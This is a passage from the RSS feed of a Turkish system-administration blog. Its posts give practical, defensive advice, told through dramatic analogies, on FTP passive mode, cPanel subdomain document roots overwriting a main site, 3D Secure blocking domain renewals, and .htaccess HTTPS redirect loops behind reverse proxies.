<p>Mühendis <code>csf -r</code> komutunu verdiği saniyede, o kilitli koridor kapıları ardına kadar açılır. FileZilla'da <code>MLSD</code> komutu milisaniyeler içinde yanıtlanır; <code>public_html</code>, <code>cgi-bin</code> klasörleri ekranda şak diye belirir!</p>
<h3>2026 Yılında Hâlâ Düz FTP Kullanmanın Tehlikesi</h3>
<p>Bu teknik çözüme rağmen profesyonel mühendislik dünyasının vermesi gereken asıl tavsiye şudur: <strong>2026 yılında artık düz, şifresiz FTP kullanmayı tamamen terk edin!</strong></p>
<p>Düz FTP, şifrelerinizi ve dosyalarınızı internet üzerinden açık metin (clear-text) olarak taşır. Kahve zincirindeki Wi-Fi ağından bağlanan biri şifrenizi koklayabilir (sniffing).</p>
<p>Bunun yerine:</p>
<ul>
<li><strong>SFTP (SSH File Transfer Protocol):</strong> Port 22 üzerinden, SSH tüneli içinde tamamen şifreli ve tek port üzerinden çalışan güvenli protokolü tercih edin. Pasif port derdi yoktur, zaman aşımı yoktur, tek bir portla tüm dünya güvenle yönetilir.</li>
<li><strong>FTPS (FTP over TLS):</strong> İlla FTP istemcisi kullanılacaksa sunucu tarafında TLS zorunluluğu getirin.</li>
</ul>
<p>Danışmada hastayı karşılayıp muayene odasının kapısını kilitleyen hastane yönetimi nasıl sağlık hizmetini baltalıyorsa; Port 21'i açıp pasif portları kapatan sistem yöneticisi de öyle bir teknik körlük içindedir. Protokolün doğasını bilmek, ağ güvenliğinin kapılarını doğru anahtarlarla açmanın ilk ve vazgeçilmez kuralıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>FTP</category>
            <category>FileZilla</category>
            <category>Güvenlik Duvarı</category>
            <category>Passive Mode</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ftp-pasif-mod-passive-mode-ve-port-araligi-iskencesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Subdomain Açıp Ana Sitenin Silinmesi" (cPanel public_html İllüzyonu)]]></title>
            <link>http://localhost:3000/blog/post/subdomain-acip-ana-sitenin-silinmesi-cpanel-public_html-illuzyonu</link>
            <guid>subdomain-acip-ana-sitenin-silinmesi-cpanel-public_html-illuzyonu</guid>
            <pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[cPanel üzerinde yeni bir alt alan adı (subdomain) oluştururken Document Root dizinini farkında olmadan ana sitenin yaşadığı public_html olarak bırakan ve üzerine yeni WordPress kurarak 10 yıllık ana sitesini yerle bir eden kullanıcının trajedisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/subdomain-acip-ana-sitenin-silinmesi-cpanel-public_html-illuzyonu/thumbnail" alt=""> İnşaat mühendisliğinde ve mimaride yapılan en affedilmez cehalet örneklerinden biri, parsel sınırlarını ve statik kolonları bilmeden tadilat yapmaya kalkışmaktır. Düşünün ki lüks, üç katlı, 10 yıllık sapasağlam bir villanız var. Bahçeye köpeğiniz için küçük, ahşap bir kulübe veya bahçe aletleri için ufak bir kiler yapmak istiyorsunuz.</p>
<p>Fakat inşaat işinden zerre kadar anlamayan hevesli ev sahibi, eline hidrolik kırıcıyı ve balyozu alıyor. Kulübenin temel kazıklarını bahçeye çakmak yerine, yanlışlıkla ana villanın taşıyıcı kolonunun ve oturma odasının tam göbeğine çakıyor! İki darbede villanın taşıyıcı kolonu patlıyor, üç katlı koca bina gürültüyle çöküyor ve bir enkaz yığınına dönüşüyor. Ev sahibi elindeki kırıcıyla toz bulutunun ortasında kalakalıyor: <em>"Ben alt tarafı bir köpek kulübesi yapacaktım, ev nereye gitti?"</em></p>
<p>Web barındırma ve cPanel yönetiminde destek ekiplerinin her ay en az birkaç kez şahit olduğu ve insanı derin bir kederle sarsan facia tam olarak bu bahçe kulübesi cinayetidir: <strong>Yeni bir subdomain (alt alan adı) açarken Document Root hiyerarşisini anlamayıp ana sitenin üzerine basmak.</strong></p>
<h3>Cuma Öğleden Sonra: "Blog da Açalım Dedik"</h3>
<p>Bir hukuk bürosunun, endüstriyel fabrikanın veya diş kliniğinin ana web sitesi <code>sirketadi.com.tr</code>... Yıllardır yayındadır, yüzlerce referans sayfası, kurumsal tanıtımlar ve müşteri formları kusursuz çalışmaktadır.</p>
<p>Şirketin yeni işe aldığı pazarlama sorumlusu veya şirket sahibi cuma günü bir karar alır: <em>"Bizim ana sitemiz çok kurumsal. Yanına bir de blog açalım, sektörel makaleler yazıp SEO yapalım. Adresi de <code>blog.sirketadi.com.tr</code> olsun."</em></p>
<p>Harika bir kurumsal hamledir. Kullanıcı cPanel kontrol paneline girer. "Alan Adları" (Domains) sekmesini açar ve <strong>"Alt Alan Adları" (Subdomains)</strong> butonuna tıklar.</p>
<p>Karşısına iki kutucuklu basit bir form çıkar:</p>
<ul>
<li>Alt Alan Adı: <code>blog</code></li>
<li>Alan Adı: <code>sirketadi.com.tr</code></li>
</ul>
<p>Ve altta o kader belirleyici üçüncü kutucuk belirir: <strong>Belge Kök Dizini (Document Root).</strong></p>
<h3>public_html Tuzağı ve Acemiliğin Gözü Kara Refleksi</h3>
<p>Normal şartlarda cPanel bu kutucuğa otomatik olarak <code>/public_html/blog</code> veya <code>/blog.sirketadi.com.tr</code> yazar. Yani ana siteden tamamen bağımsız, izole bir klasör önerir.</p>
<p>Fakat bizim kullanıcımız kendi kendine o meşhur tehlikeli akıl yürütmeyi yapar:<br>
<em>"Aaa, benim bütün dosyalarım public_html'de duruyor ya. Blog da sitemin bir parçası değil mi? Ben bunu niye başka klasöre koyayım ki? Buraya dümdüz <code>public_html</code> yazayım, hepsi bir arada dursun!"</em></p>
<p>Kullanıcı önerilen yolu siler. Kutuya doğrudan <strong><code>public_html</code></strong> yazar. Ve mavi <strong>"Oluştur" (Create)</strong> butonuna tıklar!</p>
<p>Faciaya giden ilk adım atılmıştır. Artık sunucu için <code>sirketadi.com.tr</code> ile <code>blog.sirketadi.com.tr</code> fiziksel olarak <strong>tamamen aynı disk dizinine</strong> bakmaktadır!</p>
<p>Fakat kullanıcı bununla da yetinmez.</p>
<p>cPanel'deki Softaculous / WordPress Tek Tıkla Kurulum aracına girer. <em>"Blog için yeni bir WordPress kurayım"</em> der. Kurulum dizini olarak nereyi seçer dersiniz? Tabii ki o az önce açtığı <code>blog.sirketadi.com.tr</code> adresini!</p>
<p>Yani ana sitenin 10 yıldır yaşadığı o kutsal <code>public_html</code> dizinini!</p>
<h3>"Yükle" Butonuna Basılan O Kara Saniye</h3>
<p>Kullanıcı "Yükle" (Install) butonuna tıklar.</p>
<p>Softaculous motoru emri alır:</p>
<ol>
<li>Sıfır bir WordPress zip dosyasını açar.</li>
<li><code>public_html</code> dizinindeki 10 yıllık ana sitenin <code>index.php</code>, <code>wp-config.php</code>, <code>.htaccess</code> ve tema dosyalarının <strong>üzerine yazar (overwrite)!</strong></li>
<li>Sıfır bir veritabanı bağlar.</li>
</ol>
<p>İşlem 15 saniyede biter. Ekranda neşeli bir mesaj çıkar: <em>"Tebrikler, WordPress blogunuz başarıyla kuruldu!"</em></p>
<p>Kullanıcı sevinçle tarayıcısını açar ve şirketin ana web sitesine girer: <code>sirketadi.com.tr</code>.</p>
<p>Karşısına çıkan ekran, o 10 yıllık devasa kurumsal portal değil; bomboş, üzerinde "Merhaba Dünya! Yeni WordPress sitenize hoş geldiniz" yazan çiğ bir blog şablonudur!</p>
<p>Kullanıcının gözleri kararır, tansiyonu düşer. Kurumsal sayfalar nerede? Ürünler nerede? Referanslar nerede?</p>
<p>Hepsi ezilmiş, üzerine sıfır bir blogun dosyaları beton gibi dökülmüştür!</p>
<h3>Destek Masasında Kıyamet Çığlığı</h3>
<p>Kullanıcı hemen hosting firmasının destek hattını arar:</p>
<blockquote>
<p><em>"Yetişin! Şirketimizin 10 yıllık web sitesi silinmiş! Az önce sadece blog açtım, sitemiz yok oldu! Siz bizim dosyalarımızı mı sildiniz? Yedeklerimiz nerede? Eğer sitemiz geri gelmezse şirketimiz batar, trilyonluk tazminat davası açarız!"</em></p>
</blockquote>
<p>Destek mühendisi sunucunun erişim loglarına ve dosya geçmişine bakar: <em>"Beyefendi, dosyalarınızı biz silmedik. Siz yeni açtığınız blog subdomain'inin kök dizinini ana sitenizin kök dizini olarak tanımlamış ve üzerine sıfır WordPress kurmuşsunuz. Kendi ana sitenizi kendi ellerinizle ezmişsiniz."</em></p>
<p>Kullanıcının o anki çaresizliği ve pişmanlığı, yıkılan villanın enkazında oturan ev sahibinin sessizliğinden farksızdır.</p>
<p>Eğer hosting firmasının günlük harici yedekleme servisi (R1Soft, JetBackup veya cPanel Backup) varsa, o günkü saat 00:00 yedeği kurtarılabilir. Ancak yedekleme hizmeti alınmamışsa, o 10 yıllık kurumsal emek tek bir dikkatsiz tıklamayla dijital tarihin tozlu sayfalarına karışır.</p>
<h3>Dizin Hiyerarşisini ve Dijital Sınırları Koruma Protokolü</h3>
<p>Bir kontrol panelinde dosya dizinleriyle çalışırken uyulması gereken hayati emniyet kuralları şunlardır:</p>
<ol>
<li><strong><code>public_html</code> Ana Sitenin Mahremidir:</strong> Bir paylaşımlı hosting hesabında <code>public_html</code> dizini sadece ve sadece ana alan adınıza aittir. Oraya başka hiçbir alt alan adının, test sitesinin veya bağımsız uygulamanın dosyalarını karıştırmayın.</li>
<li><strong>Subdomain'ler İçin Daima İzole Dizinler:</strong> Yeni bir alt alan adı açarken cPanel'in önerdiği bağımsız dizin yapısına asla müdahale etmeyin. Bırakın <code>subdomain.sirketadi.com</code> dosyaları <code>public_html</code>'in tamamen dışında, <code>/home/user/subdomain.sirketadi.com</code> gibi izole bir kökte yaşasın.</li>
<li><strong>Müdahaleden Önce Tam Dizin Yedeği:</strong> Kontrol panelinde yeni bir kurulum yapmadan veya yeni bir alan adı bağlamadan önce, Dosya Yöneticisi'ne girip <code>public_html</code> klasörünü sağ tıklayarak <strong><code>public_html_yedek.zip</code></strong> olarak sıkıştırıp bilgisayarınıza indirin. Bu 60 saniyelik işlem, hayatınızı kurtarır.</li>
<li><strong>Kavram Okuryazarlığı:</strong> "Belge Kök Dizini" (Document Root) teriminin ne anlama geldiğini bilmeden o kutuları değiştirmeyin. Document Root, web sunucusunun ziyaretçiye göstereceği dosyaların başladığı kapıdır. İki farklı kapıyı aynı odaya açarsanız, içerideki eşyalar birbirini ezer.</li>
</ol>
<p>Köpek kulübesi yapacağım diye ana villayı yıkan müteahhide nasıl inşaatçı denilemezse; subdomain açacağım diye ana siteyi ezen kişiye de web yöneticisi denilemez. Kontrol panellerinin sunduğu kolaylıklar, temel dosya hiyerarşisi mantığından muaf kılmaz. Bir butona basmadan önce nereyi değiştirdiğinizi bilmek, dijital varoluşun en asgari emniyet kemeridir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cPanel</category>
            <category>Subdomain</category>
            <category>Document Root</category>
            <category>Hosting</category>
            <category>Yedekleme</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/subdomain-acip-ana-sitenin-silinmesi-cpanel-public_html-illuzyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Domain Yenileme Tarihinde Yaşanan Kredi Kartı Provision (3D Secure) Engeli"]]></title>
            <link>http://localhost:3000/blog/post/domain-yenileme-tarihinde-yasanan-kredi-karti-provision-3d-secure-engeli</link>
            <guid>domain-yenileme-tarihinde-yasanan-kredi-karti-provision-3d-secure-engeli</guid>
            <pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Milyon dolarlık şirketin ana alan adı yenileme gününde patronun yurt dışında uçakta olması, bankanın 3D Secure SMS onayını istemesi ve 3 dakikada girilemeyen şifre yüzünden şirketin internetten silinmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/domain-yenileme-tarihinde-yasanan-kredi-karti-provision-3d-secure-engeli/thumbnail" alt=""> Yoğun bakımda solunum cihazına (ventilatör) bağlı bir hastanın başında bekleyen bir hekim düşünün. Hastanenin elektrik şebekesinde jeneratörün yakıtı bitmek üzeredir. Ancak jeneratöre yakıt siparişi vermek için hastane yönetiminin kurduğu ucube sistem gereği, hastanın yurt dışında, okyanusun üzerinde uçakta olan bir akrabasının cep telefonuna SMS onay kodu gitmesi gerekmektedir!</p>
<p>Akrabanın telefonu uçak modundadır, kapsama alanı dışındadır. Ekranda 180 saniyelik bir geri sayım sayacı çalışır: 3... 2... 1... Süre dolar. SMS girilemediği için yakıt pompası kilitlenir, jeneratör durur ve yoğun bakımdaki solunum cihazlarının ekranları kararır. Koca bir hastane, hayati bir mekanizmayı tek bir telekomünikasyon şebekesinin SMS koduna bağladığı için facianın eşiğine gelmiştir.</p>
<p>Modern kurumsal dünyada holdinglerin, e-ticaret devlerinin ve kurumsal markaların başına gelen en absürt ve en can yakıcı kesinti dalgası tam olarak bu SMS rehin krizidir: <strong>Alan adı yenileme tarihinde bankanın çıkardığı 3D Secure provizyon engeli ve ulaşılamayan yetkili cep telefonu.</strong></p>
<h3>Okyanusun Üzerinde 10.000 Metrede Gelen Fatura</h3>
<p>Bir ihracat ve üretim devinin ana alan adı <code>holdingadi.com</code>... Yıllık cirosu milyon dolarları bulan şirket, küresel tedarik zincirini, yabancı müşterilerle yazışmalarını ve gümrük operasyonlarını tamamen bu alan adı üzerinden yürütmektedir.</p>
<p>Alan adının tescil yenileme tarihi 20 Şubat'tır.</p>
<p>Şirket genel müdürü ve kurucusu, tam o gün sabah saat 08:00'de İstanbul'dan New York'a giden 11 saatlik bir uçuşa biner. Telefonunu "Uçak Modu"na alır ve koltuğunda uykuya dalar.</p>
<p>Alan adı tescil firmasının otomasyon botu saat 10:00'da devreye girer. Sistemde kayıtlı olan kurumsal kredi kartından alan adı yenileme bedeli olan 15 doları çekmek için bankanın sanal POS API'sine istek atar: <code>AUTH_REQUEST: $15.00</code>.</p>
<p>Fakat Türk bankacılık sistemi ve BDDK kuralları gereği, bankanın sahtecilik önleme (Fraud) motoru devreye girer: <em>"Son 3 aydır bu karttan internet üzerinden yurt dışı ödemesi yapılmadı. Güvenlik riski tespit edildi; işlem 3D Secure SMS onayına yönlendirildi!"</em></p>
<p>Banka sistemi, genel müdürün cebine o meşhur SMS'i fırlatır:</p>
<blockquote>
<p><em>"15.00 USD tutarındaki alan adı yenileme işleminizi onaylamak için şifreniz: 849214. Bu şifre 180 saniye geçerlidir."</em></p>
</blockquote>
<p>Fakat genel müdür o sırada Atlantik Okyanusu'nun 10.000 metre üzerinde, cep telefonunun çekmediği bir irtifada uyumaktadır!</p>
<h3>180 Saniyenin Tükenişi ve clientHold İdamı</h3>
<p>180 saniye geçer. SMS onaylanamaz. Banka API'si tescil firmasına buz gibi bir hata kodu döner:</p>
<pre><code class="language-text">Transaction Failed: 3D Secure Authentication Timeout / Verification Failed
</code></pre>
<p>Tescil firmasının otomasyonu işlemi 3 kez daha tekrarlar; sonuç hep aynıdır. Kredi kartından para çekilemez.</p>
<p>Ve alan adının 30 günlük "Grace Period" (ek ödeme süresi) de çoktan dolmuşsa, kayıt operatörü (Registrar) ICANN kuralları gereği giyotini indirir:</p>
<pre><code class="language-text">Domain Status: clientHold
Domain Status: serverHold
</code></pre>
<p>Alan adı DNS kök sunucularından anında düşürülür.</p>
<h3>Saat 14:00: Holding Genel Merkezinde Kıyamet</h3>
<p>Saat 14:00'te holdingin genel merkezinde hayat durur:</p>
<ul>
<li>Şirket içindeki 500 personelin kurumsal e-postaları kilitlenir. Dışarıdan gelen hiçbir sipariş maili teslim alınamaz.</li>
<li>Yabancı ortaklar telefonla arar: <em>"Sitenize girilmiyor, şirketiniz battı mı?"</em></li>
<li>Gümrük müşavirliği arar: <em>"İhracat beyannamesi e-postanız gelmediği için 20 konteyner mal limanda kaldı, ceza yazılıyor!"</em></li>
</ul>
<p>Şirketin genel müdür yardımcısı ve IT direktörü panik içinde birbirine girer: <em>"Muhasebe faturaları ödemedi mi? Şirketin kredi kartında limit mi bitti?"</em></p>
<p>Muhasebe müdürü ekstreye bakar: <em>"Kartta 500 bin TL limit var! Ama ödeme yapılmamış görünüyor!"</em></p>
<p>Hosting firmasının santrali kilitlenir:</p>
<blockquote>
<p><em>"Siz nasıl bir kurumsunuz! Şirketimizin 15 dolarlık alan adını hangi hakla kapatırsınız? Milyonluk konteynerlerimiz limanda kaldı! Bütün zararımızı sizden tazmin edeceğiz!"</em></p>
</blockquote>
<p>Destek mühendisi logları ekrana yansıtır: <em>"Sayın yetkili, sistemimiz kartınızdan 4 kez çekim yapmayı denemiş ancak bankanız 3D Secure SMS onayı talep etmiştir. SMS onaylanmadığı için bankanız işlemi reddetmiştir. Bizim yapabileceğimiz hiçbir şey yoktur."</em></p>
<p>IT direktörü donakalır: <em>"SMS kime gitti?"</em></p>
<p>Cevap: <em>"Kart sahibi olan Genel Müdürünüz Mehmet Bey'in cep telefonuna."</em></p>
<p>Ve Mehmet Bey hâlâ New York uçağındadır; inmesine daha 4 saat vardır!</p>
<h3>Tek Bir SMS Koduna Kurban Edilmeyen Altyapı Protokolü</h3>
<p>Bir şirketin dijital şahdamarı olan alan adı ve sunucu altyapısını tek bir şahsın cep telefonuna gelecek 3D Secure SMS'ine rehin bırakmak, sorumsuzluğun zirvesidir. Bu krizleri ebediyen engellemenin kurumsal yolları şunlardır:</p>
<ol>
<li><strong>Alan Adını 5 veya 10 Yıllık Yenileyin:</strong> Kurumsal şirketler alan adlarını asla yıllık (1 yıllık) tescil etmemelidir! 10 yıllık tescil bedeli bir akşam yemeği parasıdır. Alan adınızı 10 yıllık uzatın, önünüzdeki on yıl boyunca kredi kartı, SMS veya banka provizyon stresi yaşamayın.</li>
<li><strong>Mail Order / Kurumsal B2B Anlaşması:</strong> Büyük kayıt kuruluşlarıyla çalışıyorsanız, şirketinize özel bir "Cari Hesap / Kredi Bakiyesi" tanımlatın. Şirket banka havalesiyle tescil firmasına 1.000 dolarlık bir avans bakiye yatırsın; sistem yenileme günü geldiğinde parayı karttan değil, doğrudan bu nakit bakiyeden çeksin.</li>
<li><strong>Tekrarlayan Ödemelere İzin Veren Kurumsal Kartlar:</strong> Bankanızla görüşerek hosting ve alan adı sağlayıcısının Sanal POS kimliğini (Merchant ID) kurumsal kartınızda <strong>"3D Secure Zorunluluğundan Muaf (Recurring / Tokenized Payment)"</strong> listesine ekletin. Böylece sistem periyodik yenilemelerde SMS sormadan çekimi tamamlar.</li>
<li><strong>Yenileme Tarihini 30 Gün Öne Çekmek:</strong> Yenileme işlemini son güne bırakmayın. Alan adı bitiş tarihinden en az 30 gün önce faturayı manuel olarak onaylayıp ödeyin. Böylece bir sorun çıksa bile çözmek için önünüzde koca bir ay olur.</li>
</ol>
<p>Uçaktaki birinin telefonuna gelecek SMS kodunu beklerken hastayı ölüme terk eden acil servis nasıl bir ihmal cinayetiyse; şirketinin geleceğini tek bir cep telefonunun çekim gücüne bağlayan yönetim de öyle bir idari basiretsizlik içindedir. Altyapı rehin tutulamaz; dijital varlıklar tesadüflere değil, kurumsal emniyet mekanizmalarına emanet edilmelidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>3D Secure</category>
            <category>Bankacılık</category>
            <category>Finans</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/domain-yenileme-tarihinde-yasanan-kredi-karti-provision-3d-secure-engeli/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Htaccess İçinde Sonsuz Loop": SSL Kurduktan Sonra Çöken Siteler]]></title>
            <link>http://localhost:3000/blog/post/htaccess-icinde-sonsuz-loop-ssl-kurduktan-sonra-coken-siteler</link>
            <guid>htaccess-icinde-sonsuz-loop-ssl-kurduktan-sonra-coken-siteler</guid>
            <pubDate>Thu, 19 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sitenin önüne Nginx ters vekil veya Cloudflare konulduğunda, .htaccess içine ezbere yapıştırılan RewriteCond %{HTTPS} off kuralı yüzünden tarayıcının ERR_TOO_MANY_REDIRECTS döngüsüne hapsolması ve yaşanan "Bozuk SSL" hezeyanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/htaccess-icinde-sonsuz-loop-ssl-kurduktan-sonra-coken-siteler/thumbnail" alt=""> Elektrofizyoloji ve kardiyoloji kliniklerinde hekimlerin en çok ilgilendiği doğumsal elektriksel anomalilerden biri "Wolff-Parkinson-White (WPW) Sendromu"dur. Sağlıklı bir kalpte elektriksel sinyal kulakçıklardan çıkar, AV düğümden geçer ve karıncıklara iner. Fakat WPW hastalarında kulakçık ile karıncık arasında doğuştan fazladan bir elektriksel köprü (Kent Demeti) bulunur. Sinyal aşağı indikten sonra sönmek yerine, o kaçak köprüden geriye kaçar ve kulakçıkları yeniden uyarır. Kalp kendi ürettiği uyarının peşine takılarak saniyede 240 kez kasılmaya başlar; bir kısır döngü (re-entry) içinde çırpınır ve kan pompalayamaz hale gelir. Dışarıdan bakan biri kalbin ne kadar hızlı çalıştığını zanneder; oysa kalp kendi yarattığı elektriksel labirentin içinde boğulmaktadır.</p>
<p>Web sunucusu mimarisinde ve Apache/Nginx altyapılarında da web geliştiricilerin kendi elleriyle yarattığı ve tarayıcıları saniyeler içinde komaya sokan en yaygın mimari hata tam olarak bu WPW re-entry döngüsüdür: <strong>Ters vekil (Reverse Proxy) arkasında çalışan bir sunucuda, <code>.htaccess</code> dosyasına ezbere SSL yönlendirmesi yazarak <code>ERR_TOO_MANY_REDIRECTS</code> tuzağına düşmek.</strong></p>
<h3>Olay Günü: Yeşil Kilit Aşkına Yapıştırılan Kod</h3>
<p>Bir web geliştiricisi veya hevesli bir site sahibi, web sitesine yeni bir SSL sertifikası kurmuştur. Ziyaretçilerin <code>http://sirketadi.com</code> yazdıklarında otomatik olarak şifreli <code>https://sirketadi.com</code> adresine gitmesini istemektedir.</p>
<p>Google'a girer: <em>"htaccess http to https redirect code"</em>.</p>
<p>Bir forumda veya eski bir blog yazısında bulduğu şu meşhur 3 satırlık kodu kopyalar ve sunucudaki <code>.htaccess</code> dosyasının en tepesine gururla yapıştırır:</p>
<pre><code class="language-apache">RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</code></pre>
<p>Kullanıcı dosyasını kaydeder. Tarayıcısını açar ve <code>sirketadi.com</code> adresine tıklar.</p>
<p>Ve o saniyede tarayıcı beyaz bir ekranda dönmeye başlar. Üstteki yükleme çubuğu çılgınlar gibi ileri geri gider. İki saniye sonra Chrome durur ve ekrana o buz gibi gri ölüm ekranını çarpar:</p>
<blockquote>
<p><strong>Bu sayfa çalışmıyor</strong><br>
<strong>sirketadi.com sizi çok fazla kez yönlendirdi.</strong><br>
<em>Çerezleri temizlemeyi deneyin.</em><br>
<strong>ERR_TOO_MANY_REDIRECTS</strong></p>
</blockquote>
<p>Kullanıcının tepkisi asla şaşmaz: Hemen hosting firmasına bilet açar:</p>
<blockquote>
<p><em>"Sizin bana verdiğiniz SSL sertifikası bozuk! Sertifikayı kurdum, sitem 'Çok fazla yönlendirme' hatası verdi ve kapandı! Sertifikanızı düzeltin ya da paramı iade edin!"</em></p>
</blockquote>
<h3>Perdenin Arkasındaki Mimari: Ters Vekil Körlüğü</h3>
<p>Kullanıcının anlamadığı şey, modern sunucuların 2005 yılındaki gibi tek bir çıplak Apache sunucusundan ibaret olmadığı gerçeğidir!</p>
<p>Modern ve hızlı hosting altyapılarında (veya Cloudflare kullanılan sistemlerde) mimari iki katmandan oluşur:</p>
<ol>
<li><strong>Ön Uç (Front-End) - Nginx / Cloudflare:</strong> Ziyaretçiyi kapıda karşılayan ters vekildir (Reverse Proxy). Ziyaretçi ile Nginx arasındaki bağlantı tamamen şifrelidir: <strong>HTTPS (Port 443)</strong>.</li>
<li><strong>Arka Uç (Back-End) - Apache / PHP-FPM:</strong> Nginx, statik dosyaları kendi sunar; dinamik PHP isteklerini ise sunucunun içindeki yerel Apache servisine (<code>localhost:8080</code>) aktarır. Ve sunucu içi bu aktarım şifresiz düz <strong>HTTP (Port 80)</strong> üzerinden yapılır!</li>
</ol>
<p>İşte WPW kaçak köprüsü tam burada kurulur!</p>
<ol>
<li>Ziyaretçi tarayıcısından <code>https://sirketadi.com</code> yazar.</li>
<li>Nginx isteği karşılar; istek şifrelidir (HTTPS). Nginx içeriği çekmek için arka plandaki Apache'ye gider: <em>"Bana bu sayfayı ver"</em> (HTTP port 80 üzerinden!).</li>
<li>Apache'deki o ezbere <code>.htaccess</code> kuralı devreye girer:<br>
<code>RewriteCond %{HTTPS} off</code></li>
<li>Apache bakar: Kendisine gelen istek Nginx'ten HTTP ile gelmiştir! Yani Apache'nin gözünde <code>%{HTTPS}</code> değeri kesinlikle <strong><code>off</code></strong>'tur!</li>
<li>Apache emri uygular: <em>"Dur! HTTPS kapalı, hemen <code>https://sirketadi.com</code> adresine yönlen (301)!"</em></li>
<li>Yanıt tarayıcıya döner. Tarayıcı emre uyar, tekrar <code>https://sirketadi.com</code> adresine gider.</li>
<li>Nginx isteği tekrar alır, Apache'ye tekrar HTTP üzerinden sorar.</li>
<li>Apache tekrar <em>"HTTPS'e git"</em> der...</li>
</ol>
<p>Tarayıcı ile sunucu arasında saniyede 20 turluk bir pinpon maçı başlar! Tarayıcı 20. turun sonunda pes eder ve emniyet kemerini çekerek <code>ERR_TOO_MANY_REDIRECTS</code> basar.</p>
<h3>HTTP_X_FORWARDED_PROTO: Tercüman Başlığı</h3>
<p>Apache'nin kör olmasının sebebi, Nginx'in arkasından konuştuğunu bilmemesidir. Oysa Nginx veya Cloudflare, isteği arkadaki Apache'ye aktarırken HTTP paketinin başlığına (header) bir tercüman notu iliştirir:</p>
<pre><code class="language-http">X-Forwarded-Proto: https
</code></pre>
<p>Bu başlık der ki: <em>"Ey Apache! Ben bu isteği sana içeride HTTP ile iletiyorum ama bilesin ki kapıdaki ziyaretçi bana aslında HTTPS ile bağlandı!"</em></p>
<p>Eğer <code>.htaccess</code> dosyasında bu tercüman başlığını kontrol etmezseniz, sistem o sonsuz girdapta boğulmaya mahkûmdur.</p>
<h3>Cerrahi Tedavi: Doğru Yönlendirme Kuralı</h3>
<p>Bir ters vekil (Nginx veya Cloudflare) arkasında çalışan Apache sunucusunda SSL yönlendirmesi yapılacaksa yazılması gereken tek doğru ve kusursuz kural şudur:</p>
<pre><code class="language-apache">RewriteEngine On
# 1. Klasik HTTPS kontrolü
RewriteCond %{HTTPS} off
# 2. VE Ters Vekil başlığı da https DEĞİLSE:
RewriteCond %{HTTP:X-Forwarded-Proto} !https
# 3. Sadece o zaman HTTPS'e yönlendir!
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</code></pre>
<p>Bu kuralı <code>.htaccess</code> dosyasına yazdığınız saniyede o ölümcül re-entry halkası kırılır.</p>
<p>Apache pakete bakar: <code>X-Forwarded-Proto</code> başlığında <code>https</code> yazdığını görür. <em>"Tamam, ziyaretçi zaten güvenli kanaldan gelmiş, yönlendirmeme gerek yok"</em> der ve sayfayı 0.2 saniyede şak diye tarayıcıya teslim eder! Sitenin sol üstünde o parıl parıl parlayan yeşil asma kilit simgesi belirir.</p>
<h3>Mimariyi Anlamadan Kod Kopyalamanın Sonu</h3>
<p>İnternetten bulunan her kod parçası sizin özel sunucu mimarinize uymak zorunda değildir.</p>
<ul>
<li>Sunucunuz doğrudan internete mi açık, yoksa Nginx ters vekili arkasında mı?</li>
<li>Önünüzde Cloudflare gibi bir CDN kalkanı var mı?</li>
<li>Cloudflare SSL modunuz "Flexible" mı, yoksa "Full (Strict)" mi?</li>
</ul>
<p>Bu soruların cevabını bilmeden körlemesine <code>.htaccess</code> düzenlemek, karanlık bir ameliyathanede neşteri rastgele sallamaktan farksızdır. Bir sistemin güvenliğini sağlamak sadece sertifika satın almakla bitmez; o sertifikanın üzerinden akan trafiğin hangi kapılardan geçtiğini bilmek ve kuralları mimarinin diline göre yazmak mühendisliğin ilk şartıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>htaccess</category>
            <category>SSL</category>
            <category>Reverse Proxy</category>
            <category>Nginx</category>
            <category>Apache</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/htaccess-icinde-sonsuz-loop-ssl-kurduktan-sonra-coken-siteler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["MySQL max_connections Sınırı" ve "Too Many Connections" Felaketi]]></title>
            <link>http://localhost:3000/blog/post/mysql-max_connections-siniri-ve-too-many-connections-felaketi</link>
            <guid>mysql-max_connections-siniri-ve-too-many-connections-felaketi</guid>
            <pubDate>Wed, 18 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yazılımcının veritabanı bağlantılarını işi bittikten sonra kapatmaması yüzünden MySQL'in varsayılan max_connections sınırının dolması, sitelerin "Too Many Connections" ile kilitlenmesi ve suçu sunucunun RAM'ine atan yazılımcı kibri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/mysql-max_connections-siniri-ve-too-many-connections-felaketi/thumbnail" alt=""> Hastanelerin ameliyathane ve yoğun bakım bloklarında hayatı idame ettiren en kritik altyapı, duvarların içinden geçen merkezi medikal gaz ve oksijen boru hattıdır. Ana kriyojenik tanktan gelen saf oksijen, duvarlardaki özel prizlere (vanalara) 4 bar basınçla ulaştırılır.</p>
